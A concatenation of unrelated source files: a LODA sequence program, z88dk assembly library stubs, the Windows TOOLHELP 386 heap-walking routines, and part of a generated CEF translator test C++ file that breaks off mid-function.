; A080476: Floor( geometric mean of next n numbers ). ; 1,2,4,8,12,18,24,32,40,50,60,72,84,98,112,128,144,162,180,200,220,242,264,288,312,338,364,392,420,450,480,512,544,578,612,648,684,722,760,800,840,882,924,968,1012,1058,1104,1152,1200,1250,1300,1352,1404,1458 add $0,1 pow $0,2 sub $0,2 div $0,2 add $0,1
; char *fgets(char *s, int n, FILE *stream) INCLUDE "clib_cfg.asm" SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC fgets EXTERN asm_fgets fgets: pop af pop ix pop bc pop de push de push bc push hl push af jp asm_fgets ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC fgets EXTERN fgets_unlocked defc fgets = fgets_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;************************************************************************** ;* walk386.ASM ;* ;* Assembly support code for the KERNEL386 global heap routines ;* for TOOLHELP.DLL ;* ;************************************************************************** INCLUDE TOOLPRIV.INC PMODE32 = 1 PMODE = 0 SWAPPRO = 0 INCLUDE WINKERN.INC ;** External functions externNP HelperVerifySeg externNP HelperHandleToSel externNP HelperPDBtoTDB externNP HelperSegLen ;** Functions sBegin CODE assumes CS,CODE .386p ; Walk386Count ; ; Returns the number of blocks in the given list cProc Walk386Count, <PUBLIC,NEAR>, <di> parmW wFlags cBegin mov es,hMaster ;Segment of master block mov ax,wFlags ;Get the flag value shr ax,1 ;Check for GLOBAL_LRU jc SHORT W3C_LRU ;Bit set, must be LRU shr ax,1 ;Check for GLOBAL_FREE jc SHORT W3C_Free ;Must be free ;Must be GLOBAL_ALL ;** Get total object count mov ax,es:[hi_count] ;Get heap count inc ax ;Bump to include first sentinel jmp SHORT W3C_End ;Get out ;** Get LRU object count W3C_LRU: mov ax,es:[gi_lrucount] ;Get the LRU count jmp SHORT W3C_End ;Get out ;** Get Free list object count W3C_Free: mov ax,es:[gi_free_count] ;Get free count jmp SHORT W3C_End ;Get out ;** Return the result in AX W3C_End: cEnd ; Walk386First ; ; Returns a handle to the first block in the 386 global heap. cProc Walk386First, <PUBLIC,NEAR>, <di> parmW wFlags cBegin mov es,hMaster ;Segment of master block mov ax,wFlags ;Get the flag value shr ax,1 ;Check for GLOBAL_LRU jc SHORT W3F_LRU ;Bit set, must be LRU shr ax,1 ;Check for GLOBAL_FREE jc SHORT W3F_Free ;Must be free ;Must be GLOBAL_ALL ;** Get first object in complete heap (wFlags == GLOBAL_ALL) mov edi,es:[phi_first] ;Get offset of first arena header jmp SHORT W3F_End ;Get out ;** Get first object in LRU list W3F_LRU: xor edi,edi ;Zero upper word mov di,es:[gi_lrucount] ;Get the number of objects or di,di ;Are there any objects? jz SHORT W3F_End ;No, return NULL mov edi,es:[gi_lruchain] ;Get a pointer to the first item jmp SHORT W3F_End ;Done ;** Get first object in Free list W3F_Free: xor edi,edi ;Zero upper word mov di,es:[gi_free_count] ;Get the number of objects or di,di ;Are there any objects? jz SHORT W3F_End ;No, return NULL mov edi,es:[phi_first] ;Get the first object mov edi,es:[edi].pga_freenext ;Skip to the first free block ;Fall through to the return ;** Save the result in DX:AX for the return W3F_End: mov ax,di ;Get the low word shr edi,16 ;Get the high word out mov dx,di ;Get the high word cEnd ; Walk386 ; ; Takes a pointer to a block and returns a GLOBALENTRY structure ; full of information about the block. If the block pointer is ; NULL, looks at the first block. The last field in the GLOBALENTRY ; structure is used to chain to the next block and is thus used to walk ; the heap. cProc Walk386, <PUBLIC,NEAR>, <di,si,ds> parmD dwBlock parmD lpGlobal parmW wFlags cBegin ;** Set up to build public structure mov es,hMaster ;Get the correct segment mov edi,dwBlock ;Point to this block lds si,lpGlobal ;Point to the GLOBALENTRY structure ;** Fill public structure mov ax,es:[edi].pga_handle ;Get the handle of the block mov [si].ge_hBlock,ax ;Put in public structure mov eax,es:[edi].pga_address ;Get linear address of block mov [si].ge_dwAddress,eax ;Put in public structure mov eax,es:[edi].pga_size ;Get the size of the block mov [si].ge_dwBlockSize,eax ;Put in public structure mov ax,es:[edi].pga_owner ;Owning task of block mov [si].ge_hOwner,ax ;Put in public structure xor ah,ah mov al,es:[edi].pga_count ;Lock count (moveable segments) mov [si].ge_wcLock,ax ;Put in public structure mov al,es:[edi].pga_pglock ;Page lock count mov [si].ge_wcPageLock,ax ;Save in structure mov al,es:[edi].pga_flags ;Word of flags xor ah,ah mov [si].ge_wFlags,ax ;Put in public structure mov eax,es:[edi].pga_next ;Put next pointer in structure mov [si].ge_dwNext,eax ;** If this is a data segment, get local heap information mov ax,[si].ge_hBlock ;Get the handle cCall Walk386VerifyLocHeap mov [si].ge_wHeapPresent,TRUE ;Flag that there's a heap jnc SHORT W3_10 ;There really is no heap mov [si].ge_wHeapPresent,FALSE ;Flag that there's no heap W3_10: ;** If the owner is a PDB, translate this to the TDB mov bx,[si].ge_hOwner ;Get the owner cCall HelperHandleToSel, <bx> ;Translate to selector mov bx,ax ;Get the selector in BX cCall HelperVerifySeg, <ax,2> ;Must be two bytes long or ax,ax ;Is it? jz SHORT W3_15 ;No. push es ;Save ES for later mov es,bx ;Point to possible PDB block cmp es:[0],20CDh ;Int 20h is first word of PDB jnz SHORT W3_12 ;Nope, don't mess with this mov ax,bx ;Pass parameter in AX cCall HelperPDBtoTDB ;Get the corresponding TDB or ax,ax ;Was one found? jz SHORT W3_11 ;No. mov [si].ge_hOwner,ax ;Make the owner the TDB instead W3_11: or [si].ge_wFlags,GF_PDB_OWNER ;Flag that a PDB owned block W3_12: pop es ;Restore ES W3_15: ;** Check for this being the last item in both lists cmp edi,es:[edi].pga_next ;See if we're at the end jnz SHORT W3_20 ;No mov [si].ge_dwNext,0 ;NULL the next pointer W3_20: mov eax,edi ;Get current pointer mov cx,wFlags ;Get the flags back cCall NextLRU386 ;Get next LRU list pointer or 0 mov [si].ge_dwNextAlt,eax ;Save it W3_End: cEnd ; Walk386Handle ; ; Finds an arena pointer given a block handle cProc Walk386Handle, <PUBLIC,NEAR>, <di,si,ds> parmW hBlock cBegin mov ax,hBlock ;Get the block handle cCall HelperHandleToSel, <ax> ;Convert to selector cCall SelToArena386 ;Get the arena pointer jnc SHORT W3H_10 ;Must be OK xor ax,ax ;Return a 0L xor dx,dx jmp SHORT W3H_End ;Error in conversion, get out W3H_10: mov ax,bx ;Get the low word shr ebx,16 ;Get the high word in DX mov dx,bx W3H_End: cEnd ; WalkLoc386Count ; ; Returns the number of blocks in the given local heap cProc WalkLoc386Count, <PUBLIC,NEAR>, <di> parmW hHeap cBegin ;** Verify that it has a local heap mov ax, hHeap ;Get the block cCall Walk386VerifyLocHeap ;Verify it jnc SHORT LC_10 ;It's OK xor ax,ax ;No heap jmp SHORT LC_End ;Get out LC_10: ;** Point to the block mov ax,hHeap ;Get the heap block cCall HelperHandleToSel, <ax> ;Convert it to a selector mov es,ax ;Use ES to point to it mov bx,es:[6] ;Get a pointer to the HeapInfo struct ;** Get the number of blocks mov ax,es:[bx].hi_count ;Get the count LC_End: cEnd ; WalkLoc386First ; ; Returns a handle to the first block in the 386 global heap. cProc WalkLoc386First, <PUBLIC,NEAR>, <di> parmW hHeap cBegin ;** Verify that the given global block has a local heap mov ax, hHeap ;Get the block cCall Walk386VerifyLocHeap ;Verify it jnc SHORT LF_10 ;It's OK xor ax,ax ;No heap jmp SHORT LF_End ;Get out LF_10: ;** Point to the global block mov ax,hHeap ;Get the heap block cCall HelperHandleToSel, <ax> ;Convert it to a selector mov es,ax ;Use ES to point to it mov bx,es:[6] ;Get a pointer to the HeapInfo struct ;** Get the first block and return it mov ax,WORD PTR es:[bx].hi_first ;Get the first block LF_End: cEnd ; WalkLoc386 ; ; Takes a pointer to a block and returns a GLOBALENTRY structure ; full of information about the block. If the block pointer is ; NULL, looks at the first block. The last field in the GLOBALENTRY ; structure is used to chain to the next block and is thus used to walk ; the heap. cProc WalkLoc386, <PUBLIC,NEAR>, <di,si,ds> parmW wBlock parmD lpLocal parmW hHeap cBegin ;** Verify that it has a local heap mov ax, hHeap ;Get the block cCall Walk386VerifyLocHeap ;Verify it jnc SHORT LW_10 ;It's OK jmp LW_End ;Get out LW_10: ;** Get variables from the TOOLHELP DGROUP mov ax,_DATA ;Get the variables first mov ds,ax ;Point to our DS mov bx,hUserHeap ;BX=User's heap block mov cx,hGDIHeap ;CX=GDI's heap block ;** Point to the heap mov ax,hHeap ;Get the heap block cCall HelperHandleToSel, <ax> ;Convert it to a selector mov es,ax ;Use ES to point to it lds di,lpLocal ;Point to the LOCALENTRY structure mov [di].le_wHeapType,NORMAL_HEAP ;In case we don't match below... cmp bx,hHeap ;User's heap? jnz SHORT W3_3 ;No mov [di].le_wHeapType,USER_HEAP ;Yes jmp SHORT W3_5 ;Skip on W3_3: cmp cx,hHeap ;GDI's heap? jnz SHORT W3_5 ;No mov [di].le_wHeapType,GDI_HEAP ;Yes W3_5: mov si,wBlock ;Get the address of the block ;** Get information about the given block mov bx,es:[si].la_handle ;Get the handle mov [di].le_hHandle,bx ;Save in the public structure mov ax,si ;Get block address add ax,la_fixedsize ;Skip fixed size local arena mov [di].le_wAddress,ax ;Save the block address mov ax,es:[si].la_next ;Get the address of the next block mov [di].le_wNext,ax ;Save the next pointer sub ax,si ;Compute the size sub ax,la_fixedsize ;Size of fixed arena mov [di].le_wSize,ax ;Save in public structure mov ax,es:[si].la_prev ;Get the flags and ax,3 ;Mask out all but flags mov [di].le_wFlags,ax ;Save in structure ;** Moveable arenas are bigger and have a lock count to get test al,LA_MOVEABLE ;Block has a handle iff it's moveable jz SHORT LW_NoHandle ;No handle info sub [di].le_wSize, (SIZE LocalArena) - la_fixedsize add [di].le_wAddress, (SIZE LocalArena) - la_fixedsize xor ah,ah ;Clear upper word mov al,es:[bx].lhe_count ;Get lock count mov [di].le_wcLock,ax ;Save it jmp SHORT LW_20 ;Skip no handle info LW_NoHandle: mov ax, [di].le_wAddress ;Handle of fixed block is real offset mov [di].le_hHandle, ax mov [di].le_wcLock,0 ;No lock count either LW_20: ;** See if it's the end cmp [di].le_wNext,0 ;Check for NULL pointer just in case jz SHORT LW_End ;It is so get out cmp [di].le_wNext,si ;Loop pointer? jnz SHORT LW_End ;Nope mov [di].le_wNext,0 ;Set a zero pointer LW_End: cEnd ; Walk386VerifyLocHeap ; ; Verifies that the given global block points to a data segment ; with a local heap. ; ; Call: ; AX = Block handle or selector ; Return: ; Carry flag set iff NOT a local heap segment ; ; Destroys all registers except AX, ESI, EDI, DS, and ES cProc Walk386VerifyLocHeap, <PUBLIC,NEAR>, <es> cBegin push esi ;Save certain registers push edi ;** Convert to a selector cCall HelperHandleToSel, <ax> ;** Verify that the selector is long enough push ax ;Save parameter mov bx,SIZE LocalInfo cCall HelperVerifySeg, <ax,bx> ;Check the selector or ax,ax ;Is it valid? pop ax ;Restore parameter jnz SHORT VLH_SelOK ;Yes stc ;Set error flag jmp SHORT VLH_End ;Get out VLH_SelOK: ;** Check data segment to see if it has a local heap mov es,ax ;Point to the local block with ES cCall HelperSegLen, <ax> ;Get the length of the heap movzx ecx,dx ;ECX gets the length shl ecx,16 ;Put high word in high word of EAX mov cx,ax ;Get the low word cmp ecx,8 ;At least 8 bytes long? ja SHORT VLH_10 ;Yes stc ;No -- set error flag and get out jmp SHORT VLH_End VLH_10: xor ebx,ebx ;Clear high word mov bx,es:[6] ;Get offset to HeapInfo struct or bx,bx ;If NULL, no local heap jz SHORT VLH_NoHeap ;Get out sub ecx,ebx ;See if HeapInfo is beyond segment jbe SHORT VLH_NoHeap sub ecx,li_sig + 2 ;Compare against last structure mem jbe SHORT VLH_NoHeap cmp es:[bx].li_sig,LOCALHEAP_SIG ;Make sure the signature matches jne SHORT VLH_NoHeap ;Doesn't match clc ;Must be a heap! jmp SHORT VLH_End VLH_NoHeap: stc ;Set error flag VLH_End: pop edi pop esi cEnd ;** Private helper functions ; SelToArena386 ; ; Finds the arena entry for the given selector or handle. ; Uses the selector table which is located just after the arena table. ; Since this is a large segment, use 32 bit offsets into it. ; The selector-to-arena mapping table is simply an array of arena ; offsets indexed by the (selector number >> 3) * 4 [DWORD offsets]. ; ; Caller: AX = Selector ; Returns: DX:EBX = Arena entry ; Trashes everything except segment registers and AX ; Carry set on error cProc SelToArena386, <NEAR,PUBLIC>, <es,ds,ax> cBegin ;** Convert to a selector cCall HelperHandleToSel, <ax> ;** Verify selector push ax ;Save parameter cCall HelperVerifySeg, <ax,1> ;Check the selector or ax,ax ;Is it valid? pop ax ;Restore parameter jnz SHORT STA_SelOK ;Must be stc ;Nope. Set error flag and exit jmp SHORT STA_End STA_SelOK: mov bx,_DATA ;Get the static data segment mov ds,bx mov bx,segKernel ;Get the KERNEL variable segment mov es,bx mov bx,npwSelTableLen ;Get the pointer mov dx,es:[bx] ;Get the selector table length mov bx,npdwSelTableStart ;Get the start of the sel table mov ebx,es:[bx] ;Get the linear offset (32 bits) mov es,hMaster ;Point to the arena table and al,not 7 ;Clear the RPL bits for table lookup shr ax,1 ;Convert to DWORD offset cmp ax,dx ;Check to see if off the end of table jb SHORT STA_InTable ;It's in the table stc ;Set error flag--not in table jmp SHORT STA_End ;Get out STA_InTable: movzx eax,ax ;Convert the offset to 32 bits add ebx,eax ;Add the selector offset mov ebx,es:[ebx] ;Do the sel table indirection mov dx,hMaster ;DX points to the arena segment clc ;No error; return OK STA_End: cEnd ; NextLRU386 ; ; Checks the given arena table pointer to see if it is the last ; arena entry on the list. ; Uses a grungy method that is necessitated because of the ; unterminated linked lists we're dealing with here. The count ; stored is the only reliable method for finding the end. So, to ; provide random access to blocks in the heap, the heap is searched ; from top to bottom to find the block and see if it is the last ; one. If it is or if it is not on the given list, returns a 0 ; pointer to the next item. ; ; If this search is for the entire global heap, we do not get the ; LRU link, but return NULL in EAX. This speeds this up alot! ; ; Caller: EAX = Arena table pointer ; CX = GLOBAL_ALL, GLOBAL_FREE, or GLOBAL_LRU ; Return: EAX = Next arena table pointer or 0 if no more ; Trashes all registers except segment registers and ESI,EDI cProc NextLRU386, <NEAR,PUBLIC>, <es,ds> cBegin push esi push edi mov bx,_DATA ;Get the static data segment mov ds,bx ;Point with DS mov es,hMaster ;Segment of master block cmp cx,GLOBAL_ALL ;If doing entire heap, don't do this! je SHORT NL_BadList ;Must not be entire heap shr cx,1 ;Check for GLOBAL_LRU jc SHORT NL_LRU ;Bit set, must be LRU shr cx,1 ;Check for GLOBAL_FREE jc SHORT NL_Free ;Must be free ;Must be GLOBAL_ALL ;** Decide which list the block is in then hand off cmp es:[eax].pga_owner,0 ;If the owner is zero, it's free jz SHORT NL_Free ;Handle this as if on free list ;Otherwise, might be on LRU list ;** Loop through LRU list until we find this item NL_LRU: mov cx,es:[gi_lrucount] ;Get the number of objects jcxz NL_Bad ;No object so return end dec cx ;We don't want to find the last one jcxz NL_Bad ;1 object so return end mov edi,es:[gi_lruchain] ;Get a pointer to the first item NL_LRULoop: cmp edi,eax ;Match yet? jz SHORT NL_ReturnNext ;Found it, return next item mov edi,es:[edi].pga_lrunext ;Not found yet, get the next one loop NL_LRULoop ;Loop through all items NL_Bad: jmp SHORT NL_BadList ;Not here either. Get out ;** Loop through free list until we find this item NL_Free: mov cx,es:[gi_free_count] ;Get the number of objects jcxz NL_BadList ;1 object so return end mov edi,es:[phi_first] ;Get a pointer to the first item NL_FreeLoop: mov edi,es:[edi].pga_lrunext ;Not found yet, get the next one cmp edi,eax ;Match yet? jz SHORT NL_ReturnNext ;Found it, return next item loop NL_FreeLoop ;Loop through all items jmp SHORT NL_BadList ;Not here either. Get out NL_ReturnNext: mov eax,es:[edi].pga_lrunext ;Return the next one jmp SHORT NL_End ;Get out NL_BadList: xor eax,eax ;Return zero for error NL_End: pop edi pop esi cEnd sEnd END
; void *p_list_remove_after(p_list_t *list, void *list_item) SECTION code_clib SECTION code_adt_p_list PUBLIC p_list_remove_after_callee EXTERN asm_p_list_remove_after p_list_remove_after_callee: pop af pop hl pop bc push af jp asm_p_list_remove_after
// Copyright (c) 2018 The Chromium Embedded Framework Authors. All rights // reserved. Use of this source code is governed by a BSD-style license that // can be found in the LICENSE file. // // --------------------------------------------------------------------------- // // This file was generated by the CEF translator tool. If making changes by // hand only do so within the body of existing method and function // implementations. See the translator.README.txt file in the tools directory // for more information. // // $hash=4c23b4208c361a884f6e1b27bc578c6cc0e0412e$ // #include "libcef_dll/ctocpp/test/translator_test_ctocpp.h" #include <algorithm> #include "libcef_dll/cpptoc/test/translator_test_ref_ptr_client_child_cpptoc.h" #include "libcef_dll/cpptoc/test/translator_test_ref_ptr_client_cpptoc.h" #include "libcef_dll/cpptoc/test/translator_test_scoped_client_child_cpptoc.h" #include "libcef_dll/cpptoc/test/translator_test_scoped_client_cpptoc.h" #include "libcef_dll/ctocpp/test/translator_test_ref_ptr_library_child_ctocpp.h" #include "libcef_dll/ctocpp/test/translator_test_ref_ptr_library_ctocpp.h" #include "libcef_dll/ctocpp/test/translator_test_scoped_library_child_ctocpp.h" #include "libcef_dll/ctocpp/test/translator_test_scoped_library_ctocpp.h" #include "libcef_dll/transfer_util.h" // STATIC METHODS - Body may be edited by hand. CefRefPtr<CefTranslatorTest> CefTranslatorTest::Create() { // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute cef_translator_test_t* _retval = cef_translator_test_create(); // Return type: refptr_same return CefTranslatorTestCToCpp::Wrap(_retval); } // VIRTUAL METHODS - Body may be edited by hand. void CefTranslatorTestCToCpp::GetVoid() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_void)) return; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute _struct->get_void(_struct); } bool CefTranslatorTestCToCpp::GetBool() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_bool)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->get_bool(_struct); // Return type: bool return _retval ? true : false; } int CefTranslatorTestCToCpp::GetInt() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_int)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->get_int(_struct); // Return type: simple return _retval; } double CefTranslatorTestCToCpp::GetDouble() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_double)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute double _retval = _struct->get_double(_struct); // Return type: simple return _retval; } long CefTranslatorTestCToCpp::GetLong() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_long)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute long _retval = _struct->get_long(_struct); // Return type: simple return _retval; } size_t CefTranslatorTestCToCpp::GetSizet() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_sizet)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute size_t _retval = _struct->get_sizet(_struct); // Return type: simple return _retval; } bool CefTranslatorTestCToCpp::SetVoid() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_void)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->set_void(_struct); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::SetBool(bool val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_bool)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->set_bool(_struct, val); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::SetInt(int val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_int)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->set_int(_struct, val); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::SetDouble(double val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_double)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->set_double(_struct, val); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::SetLong(long val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_long)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->set_long(_struct, val); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::SetSizet(size_t val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_sizet)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->set_sizet(_struct, val); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::SetIntList(const std::vector<int>& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_int_list)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: simple_vec_byref_const const size_t valCount = val.size(); int* valList = NULL; if (valCount > 0) { valList = new int[valCount]; DCHECK(valList); if (valList) { for (size_t i = 0; i < valCount; ++i) { valList[i] = val[i]; } } } // Execute int _retval = _struct->set_int_list(_struct, valCount, valList); // Restore param:val; type: simple_vec_byref_const if (valList) delete[] valList; // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::GetIntListByRef(IntList& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_int_list_by_ref)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: simple_vec_byref size_t valSize = val.size(); size_t valCount = std::max(GetIntListSize(), valSize); int* valList = NULL; if (valCount > 0) { valList = new int[valCount]; DCHECK(valList); if (valList) { memset(valList, 0, sizeof(int) * valCount); } if (valList && valSize > 0) { for (size_t i = 0; i < valSize; ++i) { valList[i] = val[i]; } } } // Execute int _retval = _struct->get_int_list_by_ref(_struct, &valCount, valList); // Restore param:val; type: simple_vec_byref val.clear(); if (valCount > 0 && valList) { for (size_t i = 0; i < valCount; ++i) { val.push_back(valList[i]); } delete[] valList; } // Return type: bool return _retval ? true : false; } size_t CefTranslatorTestCToCpp::GetIntListSize() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_int_list_size)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute size_t _retval = _struct->get_int_list_size(_struct); // Return type: simple return _retval; } CefString CefTranslatorTestCToCpp::GetString() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_string)) return CefString(); // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute cef_string_userfree_t _retval = _struct->get_string(_struct); // Return type: string CefString _retvalStr; _retvalStr.AttachToUserFree(_retval); return _retvalStr; } bool CefTranslatorTestCToCpp::SetString(const CefString& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_string)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: string_byref_const DCHECK(!val.empty()); if (val.empty()) return false; // Execute int _retval = _struct->set_string(_struct, val.GetStruct()); // Return type: bool return _retval ? true : false; } void CefTranslatorTestCToCpp::GetStringByRef(CefString& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_string_by_ref)) return; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute _struct->get_string_by_ref(_struct, val.GetWritableStruct()); } bool CefTranslatorTestCToCpp::SetStringList(const std::vector<CefString>& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_string_list)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: string_vec_byref_const cef_string_list_t valList = cef_string_list_alloc(); DCHECK(valList); if (valList) transfer_string_list_contents(val, valList); // Execute int _retval = _struct->set_string_list(_struct, valList); // Restore param:val; type: string_vec_byref_const if (valList) cef_string_list_free(valList); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::GetStringListByRef(StringList& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_string_list_by_ref)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: string_vec_byref cef_string_list_t valList = cef_string_list_alloc(); DCHECK(valList); if (valList) transfer_string_list_contents(val, valList); // Execute int _retval = _struct->get_string_list_by_ref(_struct, valList); // Restore param:val; type: string_vec_byref if (valList) { val.clear(); transfer_string_list_contents(valList, val); cef_string_list_free(valList); } // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::SetStringMap(const StringMap& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_string_map)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: string_map_single_byref_const cef_string_map_t valMap = cef_string_map_alloc(); DCHECK(valMap); if (valMap) transfer_string_map_contents(val, valMap); // Execute int _retval = _struct->set_string_map(_struct, valMap); // Restore param:val; type: string_map_single_byref_const if (valMap) cef_string_map_free(valMap); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::GetStringMapByRef( std::map<CefString, CefString>& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_string_map_by_ref)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: string_map_single_byref cef_string_map_t valMap = cef_string_map_alloc(); DCHECK(valMap); if (valMap) transfer_string_map_contents(val, valMap); // Execute int _retval = _struct->get_string_map_by_ref(_struct, valMap); // Restore param:val; type: string_map_single_byref if (valMap) { val.clear(); transfer_string_map_contents(valMap, val); cef_string_map_free(valMap); } // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::SetStringMultimap( const std::multimap<CefString, CefString>& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_string_multimap)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: string_map_multi_byref_const cef_string_multimap_t valMultimap = cef_string_multimap_alloc(); DCHECK(valMultimap); if (valMultimap) transfer_string_multimap_contents(val, valMultimap); // Execute int _retval = _struct->set_string_multimap(_struct, valMultimap); // Restore param:val; type: string_map_multi_byref_const if (valMultimap) cef_string_multimap_free(valMultimap); // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::GetStringMultimapByRef(StringMultimap& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_string_multimap_by_ref)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: string_map_multi_byref cef_string_multimap_t valMultimap = cef_string_multimap_alloc(); DCHECK(valMultimap); if (valMultimap) transfer_string_multimap_contents(val, valMultimap); // Execute int _retval = _struct->get_string_multimap_by_ref(_struct, valMultimap); // Restore param:val; type: string_map_multi_byref if (valMultimap) { val.clear(); transfer_string_multimap_contents(valMultimap, val); cef_string_multimap_free(valMultimap); } // Return type: bool return _retval ? true : false; } CefPoint CefTranslatorTestCToCpp::GetPoint() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_point)) return CefPoint(); // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute cef_point_t _retval = _struct->get_point(_struct); // Return type: simple return _retval; } bool CefTranslatorTestCToCpp::SetPoint(const CefPoint& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_point)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute int _retval = _struct->set_point(_struct, &val); // Return type: bool return _retval ? true : false; } void CefTranslatorTestCToCpp::GetPointByRef(CefPoint& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_point_by_ref)) return; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute _struct->get_point_by_ref(_struct, &val); } bool CefTranslatorTestCToCpp::SetPointList(const std::vector<CefPoint>& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_point_list)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: simple_vec_byref_const const size_t valCount = val.size(); cef_point_t* valList = NULL; if (valCount > 0) { valList = new cef_point_t[valCount]; DCHECK(valList); if (valList) { for (size_t i = 0; i < valCount; ++i) { valList[i] = val[i]; } } } // Execute int _retval = _struct->set_point_list(_struct, valCount, valList); // Restore param:val; type: simple_vec_byref_const if (valList) delete[] valList; // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::GetPointListByRef(PointList& val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_point_list_by_ref)) return 